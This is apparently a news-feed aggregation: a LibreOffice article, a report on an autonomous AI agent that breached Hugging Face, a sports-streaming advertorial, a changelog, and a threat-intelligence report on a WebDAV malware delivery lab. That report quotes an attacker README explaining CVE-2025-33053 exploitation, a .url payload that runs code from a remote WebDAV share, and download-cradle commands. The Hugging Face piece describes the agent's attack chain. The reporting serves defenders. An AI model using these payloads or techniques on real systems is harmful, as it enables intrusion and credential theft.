Rhaenyra will probably assume that Alicent and Helaena escaped from the castle, while Mysaria can use that belief to increase suspicion inside the Black faction. Daemon may reach a different conclusion and suspect that Ormund Hightower arranged their removal as part of a wider Green plan.

Alicent and Helaena will likely escape the tunnels, but their temporary disappearance can still push both sides toward further conflict. The scene also gives the Red Keep a stronger role in the story, as its hidden structure becomes another source of fear, confusion, and political danger.

LibreOffice Once Again Slams Microsoft For Using 'Lock-In' With Office Files
Mon, 20 Jul 2026 19:00:45 +0200
An anonymous reader quotes a report from XDA Developers: One of the founding members of The Document Foundation and handler of LibreOffice's PR and media relations, Italo Vignoli, took to the LibreOffice blog to call out Microsoft's practices with its Office application. The last time we saw Vignoli take to the stage, we saw him accusing Euro-Office of being just as bad as Microsoft with its practices. Vignoli's new post focuses entirely on Microsoft's strategy. He says that "the dominant format for office documents" is owned by Microsoft Office, particularly the DOCX, XLSX, and PPTX formats. The problem with these formats, Vignoli states, is that they "belong to Microsoft, are controlled by Microsoft and serve Microsoft's interest." This makes it difficult for other formats to take hold.

Vignoli explains his point by stating that open document formats don't hide anything. People developing their own apps can use the format to both read and write the document format with perfection. Meanwhile, proprietary formats such as Microsoft's "contain undocumented features, private extensions or behaviors" that developers can't fully adapt to. That means that a presentation that looks great in the source software comes out strange when rebuilt in a third-party app. This, Vignoli says, is a huge issue [...]. Vignoli claims this creates a huge issue with document preservation. If a Word document was saved in one version of Office, will it still be readable in 20 years? Microsoft has added legacy support to its software before, but the company can one day decide that it's not worth the effort anymore and cut it out. When that happens, you have old documents that are either jumbled or unable to be opened at all.

Read more of this story at Slashdot.

Security Is a Platform Property, Not a Pipeline Step
Mon, 20 Jul 2026 18:59:48 +0200
A few weeks ago, I disabled key authentication on an Azure storage account we used for Terraform state management. It was one of the key security recommendations in Microsoft Defender for Cloud. It made sense to use RBAC-only permissions, enforce…
Read more →
The post Security Is a Platform Property, Not a Pipeline Step appeared first on IT Security News.

Nvidia's grip on AI chips weakens as Microsoft turns to AMD and Anthropic may follow
Mon, 20 Jul 2026 18:53:43 +0200

        Microsoft is expanding Azure's AI infrastructure with AMD's new Helios platform, which is set to challenge Nvidia's GPU systems in the second half of 2026. A public GitHub profile suggests Anthropic is also testing AMD hardware, putting more pressure on Nvidia's pricing power.
The article Nvidia's grip on AI chips weakens as Microsoft turns to AMD and Anthropic may follow appeared first on The Decoder.

Safety guardrails blocked Hugging Face's defenders, not the attacker, when an AI agent breached its systems
Mon, 20 Jul 2026 18:03:18 +0200
Hugging Face’s incident response team first turned to frontier AI models to analyze a breach of the company’s production infrastructure, and the models refused to help. Commercial safety guardrails built to stop attackers blocked every forensic query because they treated the IR team’s real exploit data the same way they would treat a live attack.
The attacker, an autonomous AI agent running the campaign end to end, moved laterally across the Hugging Face infrastructure for a weekend, undetected and unstopped.
Security leaders are quick to recognize the pattern and diagnose what went wrong. “I’ve seen versions of this during red-team exercises and internal security testing, but this is one of the first high-profile examples where it materially affected real incident response,” said Merritt Baer, senior adviser to Andesite, G2I, and AppOmni and former Deputy CISO at AWS.
None of this is unique to Hugging Face, Baer said. “Commercial frontier models optimize for preventing misuse. They generally have no cryptographic or organizational way to determine whether the person asking ‘analyze this malware’ is an incident responder or the malware author.”
A malicious dataset opened two code-execution paths
On July 16, Hugging Face disclosed that an autonomous AI agent system had compromised its production infrastructure, gaining unauthorized access to a limited set of internal datasets and several service credentials. The company verified that its software supply chain was clean and found no evidence of tampering with public models, datasets, or Spaces. 
Hugging Face is still assessing whether the intrusion touched any partner or customer data and says it will contact affected parties directly as required. But few enterprise threat models had accounted for the attacker Hugging Face faced. An autonomous agent ran the entire campaign from initial access through credential harvesting. No human guided it.
The entry point was a malicious dataset. When the data-processing pipeline ingested it, the dataset triggered code execution in two ways, through a remote-code loader and through a template-injection flaw in dataset configuration files. No admission gate screened the file before it reached a processing worker, the compute job assigned to each dataset. Initial access came through the data pipeline itself, a route that worked because most enterprise security teams treat the data feeding their pipelines as trusted input rather than an attack surface.
Worker isolation did not hold. From that first foothold, the agent broke out onto the node running the workload, then harvested cloud and cluster credentials scoped broadly enough to reach multiple internal clusters, all of it inside a single weekend. Hugging Face described the agent framework as executing thousands of individual actions through a swarm of short-lived sandboxes, with self-migrating command-and-control staged on public services. The disclosure adds that the framework appeared to be built on an agentic security-research harness, which would put tooling designed for red-team work behind a live intrusion. 
Why the defenders’ queries looked like attacks
Investigators reconstructed more than 17,000 recorded events using AI-driven analysis agents of their own.
First attempts at the log analysis ran on frontier models behind commercial APIs. Defenders’ steps included submitting real attack commands, exploit payloads, and command-and-control artifacts for classification, but safety guardrails blocked the requests outright.
Baer traced the block to the prompts themselves. “The same prompts that are most valuable during an active intrusion, shell commands, exploit chains, credential dumps, persistence mechanisms, lateral movement, are exactly the prompts most likely to trigger safety systems,” she told VentureBeat. “As AI becomes embedded in security operations, this becomes an operational resilience issue rather than merely a model policy issue.”
The forensic analysis finished on GLM 5.2
GLM 5.2, an open-weight model deployed on Hugging Face’s own infrastructure, took the job the commercial APIs refused. No attacker data left the company’s environment. “This experience points to a gap worth planning for,” the company wrote in its disclosure. Hugging Face does not know which model powered the agents. It could have been a jailbroken hosted model or an open-weight model running without restrictions. Either way, the disclosure continued, “the attacker was bound by no usage policy, while our own forensic work was blocked by the guardrails of the hosted models we first tried.” Hugging Face drew that line itself, writing that the experience is not an argument against safety measures on hosted models and that it is sharing the feedback with the providers concerned.
What authenticated trust changes
The industry, Baer argued, needs to move past treating AI safety as a content moderation problem. “Security operations require something different. Authenticated trust.” Instead of asking whether anyone should receive an answer, the question becomes whether an authenticated security team, operating under enterprise controls, should receive it. “The model shouldn’t only understand what is being asked. It should understand who is asking, why, and under what governance.”
“Organizations already build contingency plans for cloud outages, identity provider failures, or EDR failures,” Baer wrote. “AI assistants are becoming another dependency.”
Her advice on IR playbooks was blunt. “A mature incident response plan should assume that during a severe incident, commercial AI APIs may refuse requests, API rate limits may become unavailable, internet connectivity may be impaired, and data governance rules may prohibit uploading forensic evidence externally.” The lesson, she wrote in her emailed answers, “isn’t ‘don’t use commercial models.’ It’s ‘don’t make them a single point of failure.’”
AI-enabled attacks rose 89% year-over-year
Autonomous AI-driven attacks are not limited to AI platforms. CrowdStrike’s 2026 Global Threat Report documented AI-enabled adversary operations increasing by 89% year over year, with average breakout times falling to 29 minutes. Enterprises running AI workloads in production with agentic access to their pipelines face similar exposure.
Six control domains determined the blast radius and recovery speed at Hugging Face. Each one maps to a concrete action security leaders can take before the next autonomous-agent breach arrives.
AI Pipeline Breach Response Playbook
Control Domain What Broke Monday Action
Dataset admission controls Two code-execution paths were exploited. No admission gate validated the dataset before it reached a processing worker. The data pipeline became the initial access infrastructure. Require sandbox execution and static analysis of all datasets before they reach workers. Block remote-code loaders and template-injection paths by default. Audit for any path granting code execution to untrusted content. Report to the board as a supply-chain risk.
Worker-to-node privilege boundaries Worker isolation failed to prevent escalation to the node. The agent gained cluster credentials because the workload-infrastructure boundary was never enforced at container runtime. Enforce hard privilege boundaries between workers and nodes. Deploy container runtime security to prevent workload escape. Audit whether workers can reach node-level APIs or credential stores. Include in the next penetration test scope.
Credential exposure Cloud and cluster credentials harvested after node access. The scope was broad enough for lateral movement across multiple clusters over a weekend. Rotate credentials on a scheduled cadence and after any anomaly alert. Scope to the minimum cluster and service. Deploy monitoring that flags access from unexpected nodes at machine speed. Map blast radius for board reporting.
Machine-speed detection Thousands of actions through short-lived sandboxes with self-migrating C2. AI-assisted anomaly detection surfaced the campaign after a weekend of lateral movement, per the disclosure. Calibrate detection for machine-speed patterns. Ensure high-severity alerts page responders in minutes, regardless of time. Audit SIEM rules for detecting thousands of short-lived executions within a single hour.
Private AI forensic capacity Commercial APIs blocked forensic analysis. Guardrails screened query content, never analyst identity. Investigation ran on GLM 5.2 privately. Deploy a capable open-weight model on private infrastructure before an incident. Test against real forensic workflows. Ensure IR playbook includes fallback for when commercial APIs refuse. Document gap for cyber insurance.
Autonomous-agent threat modeling The campaign matched the forecast agentic-attacker scenario, but no threat model had operationalized it. LLM powering the agent is still unknown. Add autonomous AI agents as a distinct adversary class with machine-speed decision cycles. Run tabletop at agent speed. Present results to the board as evidence that timelines need recalibration. Include in the cyber insurance application.
The board question is operational resilience
“The question for directors is simple. What happens if one of our critical security tools becomes unavailable during the exact moment we need it most?” Baer framed that as operational resilience, not AI policy. 
She would have boards take that framing straight to management and press for specifics. “Have we actually exercised that fallback during tabletop exercises? How quickly can we switch during an incident?” Procurement needs to change alongside governance, starting with the questions buyers ask. Security teams evaluating AI vendors should ask about their process for authenticated incident responders, whether enterprise customers receive different handling during verified incidents, and whether models can be deployed privately. “Those questions belong alongside uptime, privacy, and compliance,” Baer said.
“The biggest takeaway isn’t that safety guardrails are ‘bad.’ They’re doing what they were designed to do,” she argued. 
Her larger point is that the threat model itself has changed. “For decades, defenders had better tools than attackers because they operated inside trusted enterprise environments. With foundation models, both sides increasingly use the same capabilities, but one side is constrained by enterprise governance, policy, compliance, and safety controls, while the adversary simply downloads an uncensored open-weight model and keeps going. That’s a new kind of asymmetry,” she added. “The organizations that handle it best won’t necessarily be the ones with the most powerful AI. They’ll be the ones that architect AI as a resilient security capability rather than a single cloud service.”
Hugging Face has contained the intrusion, rebuilt compromised nodes, rotated credentials, and reported the incident to law enforcement. The company recommends that all users rotate access tokens and review recent account activity. Mid-incident, Hugging Face found out whether its own AI tooling would be available, and the first answer was no. Security leaders running AI in production should find out in incident response planning instead, before an autonomous agent forces the test.

The Document Foundation says Microsoft's file formats keep users on a short leash
Mon, 20 Jul 2026 18:02:58 +0200
OOXML may carry an ISO certificate, but only Office can be trusted to render it properly

Loop Engineering with Adaptive Parsing in Action: Parsing Flat Tables with Azure and Figures with a Vision LLM
Mon, 20 Jul 2026 17:03:41 +0200
Enterprise Document Intelligence [Vol.1 #10B] - The LLM as last line of defence, then two real escalations walked end to end: a flat table to Azure, a figure to a vision model
The post Loop Engineering with Adaptive Parsing in Action: Parsing Flat Tables with Azure and Figures with a Vision LLM appeared first on Towards Data Science.

The technology behind every live sports moment
Mon, 20 Jul 2026 16:48:21 +0200

When a goal goes in during a tournament quarter-final and a hundred million people watch it at the same time, what they feel is the goal. The roar, the replay, the disbelief.

They do not feel the contribution feeds traversing private media networks across continents, or the edge nodes absorbing a traffic spike that appeared without warning.

They just feel the moment.

And that’s exactly how it’s supposed to work.

And as live sports viewership pushes into territory that makes previous records look modest (driven by a generation that expects to watch anything, on any device, anywhere, without waiting), the gap between getting that delivery right and getting it wrong has never been more consequential, or more public.

As audiences moved to digital platforms, the margin for error disappeared.

There is a version of this conversation that is easy to have: audiences expect more, technology has to keep up. True, but incomplete.

Audiences have always expected live sport to work. What changed is what “working” means, and how quickly they find out when it doesn’t.

Viewers no longer sit in front of a single screen. During a FIFA World Cup match, a household might have the main feed on the living room television, while someone else streams the highlights on a second TV in the bedroom, all while phones flash with live stats and tablets run separate commentary. From the infrastructure’s perspective, that isn’t just one household watching a game; it’s a chaotic web of concurrent demands triggered by the exact same split-second on the pitch.

Multiply that across tens of millions of viewers, and the scale of the challenge becomes clear. Social media raises the stakes further. When a platform fails during a World Cup knockout match, audiences report it in real-time on the same platforms they use to discuss the game. The complaint travels faster than the fix.

Broadcasters no longer have the luxury of resolving an incident before people notice. The incident becomes the story, and in many cases, travels further than the match itself.

What these viewership numbers actually mean for infrastructure

The shift in how people watch live sport has moved well beyond trend territory.

EMARKETER forecasts that digital live sports audiences in the US will grow to 114.1 million viewers, while traditional pay TV audiences decline to 82.0 million, highlighting the continued shift toward streaming.

The concurrency numbers generated by major sporting events now sit in a territory that would have seemed implausible a decade ago.

During the 2026 FIFA World Cup, for instance, streaming platforms shattered every historical ceiling, highlighted by Brazil’s CazéTV repeatedly breaking global YouTube records for concurrent viewership during the group stage. Meanwhile, in the United States, Peacock and Telemundo’s digital platforms logged an unprecedented 13 million concurrent viewers for a single knockout window. 

When tens of millions of people tune into the same live stream at the same moment, it’s a challenge unlike regular web traffic.

Historically, massive global audiences were insulated by geography. The load was spread across distinct regional networks: antenna signals, satellite downlinks, and physical cable architectures. The physical infrastructure of traditional television inherently absorbed the impact. 

Digital streaming removes that buffer. Traffic spikes all at once, often at the most critical moment. The tighter the match, the deeper the stoppage time, the sharper the spike. Network infrastructure is forced to handle its heaviest, most volatile traffic exactly when it has zero margin for error.

Social media compounds the pressure operationally. The second a crucial goal is scored, a wave of real-time reactions floods the internet, instantly dragging a secondary “curiosity audience” into the app. These are people who weren’t even watching the match, but saw the hype and decided to tune in, meaning the network has to absorb a massive new rush of users precisely while the primary stream is already maxing out its capacity.

To survive these surges while satisfying a modern audience, the underlying broadcast playbook has undergone a massive structural shift. It’s no longer just about handling traffic; it’s also about using modern technology like AI to manage it intelligently.

According to an industry survey, 25% of broadcasters integrated AI into live production workflows in 2025, a massive leap from just 9% the previous year, with 64% identifying AI as the single largest impact driver over the next five years. 

The network is no longer just delivering content. AI is now generating highlights and short clips in real time, producing millions of videos that keep fans engaged long after the live moment has passed.

Ultimately, the technical demand is driven by a shift in what viewers expect. An IBM sports study revealed that 56% of fans now want AI-driven insights layered directly onto their content, while 33% point to real-time, automated translation as the feature that most impacts their experience.

Whether it’s one screen or several, viewers don’t notice the edge infrastructure or AI powering the experience. They just expect the game to play without interruption.

The planning mistake most organisations make

Capacity planning is where most organisations spend their time when preparing to stream a major event. Can the system handle a million concurrent streams? Can it scale on demand if the numbers exceed projections? These are real questions. 

The lesson is not unique to sports streaming. Every digital business now experiences moments where demand, visibility, and customer expectations collide. Peak traffic events such as flash sales, ticket releases, and viral campaigns can drive website traffic 2 to 25 times above normal levels within seconds. The infrastructure may be different, but the pressure is remarkably similar.

Large-scale system failures occur when multiple components, each functioning as expected on its own, are overwhelmed by a surge in demand, rising latency, or regional blind spots at the same time.

The problem isn’t the individual systems. It’s how they work together.

Latency is the factor most consistently underestimated. A few seconds of delay is not a minor inconvenience in live sport. It is a fundamentally broken experience. 

A viewer whose stream is running four seconds behind will see a notification before the decisive moment appears on screen. Someone watching a service from the privacy of their room may hear a celebration from another room before seeing it on their screen.

Geography is another planning gap. Streaming growth is increasingly being driven by emerging markets. In Southeast Asia alone, premium video streaming subscriptions grew 19% in 2025, led by Indonesia, while viewing hours continued to climb across the region. Yet much of the world’s media infrastructure was originally designed around North American and Western European demand. An architecture that looks robust on paper can deliver very different experiences depending on where the viewer is.

The reason is simple: physical distance still matters. Every extra hop between the viewer and the content adds latency, making it harder to deliver a consistent experience at global scale.

Then there is the timing question. The decisions that determine whether a platform holds during the most-watched minutes of the year are not made on event day. They are made months earlier through choices around architecture, redundancy, testing, and operational readiness.

Once an event is underway, it’s too late to redesign the architecture behind it. If your system isn’t designed to handle the pressure before the crowd arrives, it’s already too late.

The hidden chain behind every live event

When a streaming disruption becomes public, people naturally look for a single point of failure: the app, the platform, or the provider.

A live event depends on dozens of systems working together, and any one of them can become a problem.

And the experience is only as good as the weakest handoff between them.

It all starts with the live camera feed moving from the venue to the production studio. This is a real-time stream, not a file download. If you drop even a single packet at the wrong moment, everything down the line breaks, no matter how perfect the rest of your setup is.

Remote and cloud-based production workflows have redefined how live sports are produced, enabling broadcasters to operate with greater agility and scale. As production becomes more distributed, success increasingly depends on ensuring every stage of the delivery chain works together seamlessly.

Each transition is a potential failure point. Managing them requires visibility that extends across providers, platforms, and networks simultaneously.

Behind every live stream, technologies like encoding, transcoding, packaging, rights management, and ad insertion are constantly at work. If any one of them fails, the stream can go down altogether.

Global distribution introduces another layer of complexity. Viewers in Asia, Africa, and South America may all be watching the same match, but each stream travels across different networks and infrastructure. That means performance can vary by region, and issues may affect one audience without impacting another. 

AI is increasingly helping operators detect anomalies in real time, pinpoint affected regions and trigger corrective actions before disruptions become widespread. Combined with point-to-point monitoring, it provides the visibility needed to keep live events running smoothly at global scale.

Edge delivery is where the difference between preparation and improvisation becomes most apparent. Bringing content closer to users reduces latency, absorbs local traffic surges, and improves performance in markets with variable connectivity. 

The value of technology investments such as AI and Edge becomes clearest during the moments when demand is highest.

Monitoring is what turns visibility into action. With AI helping analyze telemetry and detect anomalies in real time, operations teams can identify issues sooner and respond before they affect viewers. By the time customers start reporting a problem, the opportunity to prevent it has already passed.

What reliability is actually worth

For most of early broadcast history, audience tolerance provided some buffer. Disruptions happened. People accepted them. There was nowhere else to go, and the story rarely escaped the room.

Neither of those things is true now.

A streaming failure during a major match becomes public within seconds. Viewers don’t distinguish between a network issue, a processing failure, or a distribution problem; they simply see a service that failed. That single experience can shape the broadcaster’s reputation, credibility and customer loyalty, influencing whether viewers come back for the next event or recommend the service to others.

The commercial implications are significant. Global tournaments such as the FIFA World Cup illustrate just how valuable live sports rights have become. Their return depends on reliably reaching the audience that was promised.

Advertisers invest in live sport for one reason: to reach a large, engaged audience at the exact moment it matters most. If the stream fails during that window, the opportunity is lost. Those viewers, impressions, and advertising value cannot be recovered once the moment has passed.

The same principle increasingly applies outside media. Customers rarely know nor care whether an outage originated in the application, the cloud environment, the network or a third-party dependency. They experience a failure of the brand. In a digital-first economy, reliability has become part of the customer experience itself.

For broadcasters and streamers, reliability is no longer just an operational KPI. It directly influences audience trust, advertising revenue, and the long-term value of premium sports rights.

The demands ahead are bigger

AI-assisted production is already changing how live events are created. Broadcasters are using AI to automate highlight generation, camera selection and real-time clip packaging for social media, with new AI-assisted workflows producing sports highlights up to 80% faster than traditional methods. 

All of this processing happens within the live delivery chain, where every additional task must be completed without adding latency or compromising the viewing experience.

Personalisation at scale is the next significant challenge. Not personalisation in a vague sense, but the specific technical reality of delivering multi-language commentary tracks, different languages, different statistical overlays, and different camera angles to different viewers watching the same event simultaneously. 

Instead of one stream per event, the infrastructure has to manage a matrix of concurrent variants, each with its own encoding, storage, and delivery requirements. 

Interactive experiences add bidirectional data flows: real-time polls, integrated second-screen data, live wagering. These move data from the viewer back through infrastructure that was primarily built to push content outward. Managing that at scale is a different engineering problem from managing delivery.

Higher-resolution formats (4K now becoming a standard expectation in premium markets, 8K moving into early deployment) are bandwidth-intensive at exactly the scale where bandwidth is already under pressure. Consumer devices are ready. Infrastructure in many high-growth markets is not uniformly there yet.

Many of these capabilities are already being deployed for major global sporting events. The organisations investing seriously in technology, innovation, and infrastructure now are building toward a standard that will be the baseline requirement within a few years. Those that are not will be closing the gap under the worst possible conditions.

The technology you never think about

The broadcasters that succeed don’t leave reliability to chance. They plan for it from the outset, designing their infrastructure to handle peak demand long before the audience arrives.

This reality hits hardest during massive global events. When a stream glitches, millions of people feel it simultaneously in a matter of seconds. Keeping those streams alive doesn’t happen by accident; it takes massive scale, intense discipline, and deep experience controlling everything from the stadium camera to the viewer’s screen.

The lesson extends well beyond live sports. Every enterprise is becoming a real-time digital business, whether it’s delivering AI-powered applications, launching digital products, processing financial transactions, or handling a sudden surge in customer demand. Different industries may face different triggers, but the expectation is the same: the experience has to work, even when demand is at its highest.

Delivering that level of reliability is why many of the world’s largest sports brands rely on Tata Communications. Supporting the broadcast, production, and management of 80% of the world’s sporting events, and reaching more than two billion viewers across 190+ countries, Tata Communications operates in the invisible layers that make every live moment possible. We call this the “Virtual Stadium of the World”, the technology and infrastructure that connects fans, broadcasters, rights-holders, and sporting moments at a truly global scale.

By managing the critical handoffs across contribution networks, edge processing, and global media infrastructure, we engineer the resilience required to keep 120,000 live events running flawlessly every year.

Live sport may be the most visible test of digital infrastructure, but it won’t be the last. As AI, personalisation and real-time experiences become the norm across industries, the ability to deliver reliably at scale will define far more than match day.

To learn more, visit us here.

python: v0.7.32
Mon, 20 Jul 2026 16:19:58 +0200
0.7.32 (2026-07-20)
Features

#660: expose context param on scenario.judge() public API (#667) (900f3d8)
#666: per-role voice modality negotiation — declaration-first, two-phase validation, OTEL stamps (#670) (007a69f)
events: support LANGWATCH_PROJECT_ID via X-Project-Id header (#619) (7aec1c7)
tracing: stamp scenario SDK name+version as trace attributes (#744) (#745) (43dd4fa)
voice: continuous ElevenLabs mic pump + is_connected guard (#740 slice A) (#741) (b6e7f93)
voice: harvest voice result fields on exit paths + concrete typing (#740 slice E) (#742) (439b7be)
voice: instrument base + ElevenLabs adapter with LangWatch spans (#777) (2b32872)
voice: instrument Gemini Live adapter with LangWatch spans (#780) (8ba8687)
voice: instrument OpenAI Realtime adapter with LangWatch spans (#782) (3152969)
voice: instrument Pipecat adapter + background-loop spans (#774) (67f71b1)
voice: instrument Pipecat adapter + background-loop spans (#781) (67f71b1)
voice: instrument Twilio adapter with LangWatch spans (#788) (8747eed)
voice: realtime_langwatch_session context manager for live OpenAI Realtime apps (#673) (#676) (e89d00c)

Bug Fixes

#161: re-parse criteria when LLM returns stringified JSON dict (#552) (b819849)
#488: log voice adapter and ffmpeg disconnect failures at WARNING (#556) (86bf466)
#655: replace brittle judge criteria with generic behavioral criteria in audio examples (#679) (732d426)
#664: transcribe agent turns at runtime so the voice user simulator can read them (#665) (4b99682)
#695: twilio terminal sentinel on silent/tool-only stop (dead-recv-loop hang) (#697) (e675224)
python: derive scenario.version from package metadata (#800) (0d505a7)
security: bump pyjwt to 2.13.0 (#677) (00807b7)
security: bump python/uv.lock security floors (cryptography, python-multipart, starlette, python-liquid, pydantic-settings) (#685) (ee9a5d5)
security: raise esbuild, js-yaml, and dompurify override floors across JS workspaces (#671) (c76bab2)
security: raise vite 8.x floor to >=8.0.16 across scenario workspaces (#709) (42d877e)
voice/#491: diagnose + resolve multi-turn @e2e suite-wedge + tighten VAD tests (#694) (2dfc381)
voice/#498: surface recv-loop termination as attributable PipecatRecvError (#692) (c1f552c)
voice/#648: terminal drain on non-audio completion (EL + WebSocket) (#693) (c42320e)
voice/#662: guard #662's response.create call sites against the active-response race (JS + PY) (#669) (0968374)
voice/ts: explicit EL ConvAI turn-commit so scripted next-turn receive re-engages (#596) (795ae8e)
voice: guard response.create on active response in recv_audio (#659) (5e844ea)
voice: hosted ElevenLabs single-exchange ceiling — docs + enriched timeout error (#643) (aae16be)
voice: skip Twilio e2e fixtures on absent env, not fail (#798) (4c883d0)
voice: terminate wait=False test drain on end-of-turn, re-enable in CI (#691) (022056d)

Documentation

voice: drop references to a docs/proposals tree that never landed (#613) (#823) (0ef4314)

From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab
Mon, 20 Jul 2026 15:53:12 +0200
Executive summary
An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.
Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.
This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.
Introduction: From MDR alert to attacker infrastructure
The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using rundll32.exe. Telemetry showed the WebClient service starting, followed by davclnt.dll reaching out to a remote host to retrieve content.
That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.
At a high level, the 1,048 files clustered as follows:
Category Files Functions and discoveries
LNK delivery launchers 453 Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths
Filename-spoofing QA 236 Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior
URL/LOLBin execution tests 146 Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution
Encrypted droppers 89 Staged second-stage payloads and installer-style packages
Alternative execution containers 24 search-ms, library-ms, .cpl, and related delivery containers
Payload stubs and spoofed executables 21 Smaller loaders, decoys, and renamed binaries
WebDAV scripts 17 Scripts intended to make WebDAV delivery more reliable on Windows systems
Builder and operator notes 10 README files, test reports, mappings, and generation scripts
ClickFix HTML lures 9 Browser-based social-engineering pages instructing users to run commands
Miscellaneous files 6 Included documentation for the actor’s WebDAV delivery/admin panel
Table 1: Breakdown of files recovered from the attacker’s delivery workspace
Technical analysis and observed attacker behavior
Attackers testing like a product team
The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, search-ms, library-ms, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.
The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named testik and testik2, a Russian diminutive form of “test”.
Figure 1: Snippet of one of many subfolders containing testing files.
⠀
Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.
CVE Observed samples Short description
CVE-2025-33053 11 Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (nvd.nist.gov)
CVE-2026-21513 4 MSHTML Framework security feature bypass caused by protection-mechanism failure. (nvd.nist.gov)
CVE-2025-24054 1 Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved .library-ms files. (nvd.nist.gov)
Table 2: CVE references observed in the exposed directory.
The most developed test set focused on CVE-2025-33053, the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses .url shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was iediagcmd.exe, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.
The README files closely mirrored this logic. They called out iediagcmd.exe as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.
CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D
Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.
⠀
The testing approach was methodical and included the below:
Transports: WebDAV over @80 and @ssl@443
Path formats: DavWWWRoot vs. plain UNC
Fallback LOLBins: CustomShellHost.exe, OfficeC2RClient.exe, and many more for hosts where iediagcmd.exe is absent
Download cradles: bitsadmin /transfer, certutil -urlcache -split -f, mshta http(s)://…
Shortcut launchers: PowerShell IEX (New-Object Net.WebClient).DownloadString(...), hidden/minimized windows
Explorer containers: search-ms: queries and .library-ms files exposing remote payloads
ClickFix pages: relying on user copy/paste execution
Filename spoofing: RTLO (U+202E), double extensions, and whitespace padding before .exe / .scr
The lure factory
The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.
Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.
The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.
